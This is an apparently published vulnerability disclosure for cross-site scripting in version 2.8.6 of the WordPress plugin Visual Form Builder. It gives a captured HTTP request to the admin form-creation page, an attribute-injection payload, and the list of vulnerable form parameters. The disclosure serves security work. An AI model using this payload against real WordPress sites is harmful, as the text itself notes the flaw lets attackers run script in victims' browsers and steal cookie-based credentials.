Product: Visual Form Builder
Version: 2.8.6
Exploit Author: Sachin Wagh
 Home page Link: https://wordpress.org/plugins/visual-form-builder/

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Details:
The Visual Form Builder plugin for WordPress is prone to a multiple
cross-site scripting vulnerabilities because it fails to sufficiently
sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code
in the browser of an unsuspecting user in the context of the affected
site. This may allow the attacker to steal cookie-based authentication
credentials and to launch other attacks.
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Proof-Of-Concept:
1.  Burp Request :
POST /wordpress-4.4/wordpress/wp-admin/admin.php?page=vfb-add-new HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0)
Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/wordpress-4.4/wordpress/wp-admin/admin.php?page=vfb-add-new
Cookie: wordpress_9053f69aa70f4fc50a08aff40972c70e=root%7C1459163175%7CgnpQ5n2Jyk8tvw7nITUlZpPevPKU3r5JS9Ja1FqziVQ%7C42531fef03062ec0f133098c9ed48188fdfde52068a62e2fe97bf6cace6400a5;
wp-settings-time-1=1458990477;
wp-settings-1=libraryContent%3Dbrowse%26mfold%3Do%26posts_list_mode%3Dexcerpt%26uploader%3D1%26widgets_access%3Doff;
wordpress_logged_in_9053f69aa70f4fc50a08aff40972c70e=root%7C1459163175%7CgnpQ5n2Jyk8tvw7nITUlZpPevPKU3r5JS9Ja1FqziVQ%7C9a2dbae4f558cd34542207d3e49ac49e475db7ebc883b067b94a3e6501affaa5;
security_level=0; _ga=GA1.1.1331075502.1458634204
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 264
action=create_form&_wpnonce=4cdadd3b17&_wp_http_referer=%2Fwordpress-4.4%2Fwordpress%2Fwp-admin%2Fadmin.php%3Fpage%3Dvfb-add-new&form_title=XSS-1&form_email_from_name=XSS-2&form_email_from=XSS-3&form_email_subject=XSS-4&form_email_to%5B%5D=XSS-5&submit=Create+Form
2.  Payload : " onmouseover=prompt(1) "
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Vulnerable Product:  [+]  Visual Form Builder 2.8.6
Vulnerable Parameter(s):
[+]form_title
[+]form_email_to[]
[+]form_email_from_name
[+]form_email_from
[+]form_email_subject

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Affected Area(s):
[+]  http://localhost/wordpress-4.4/wordpress/wp-admin/admin.php?page=vfb-add-new
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Credits & Authors :
Sachin Wagh (@tiger_tigerboy)
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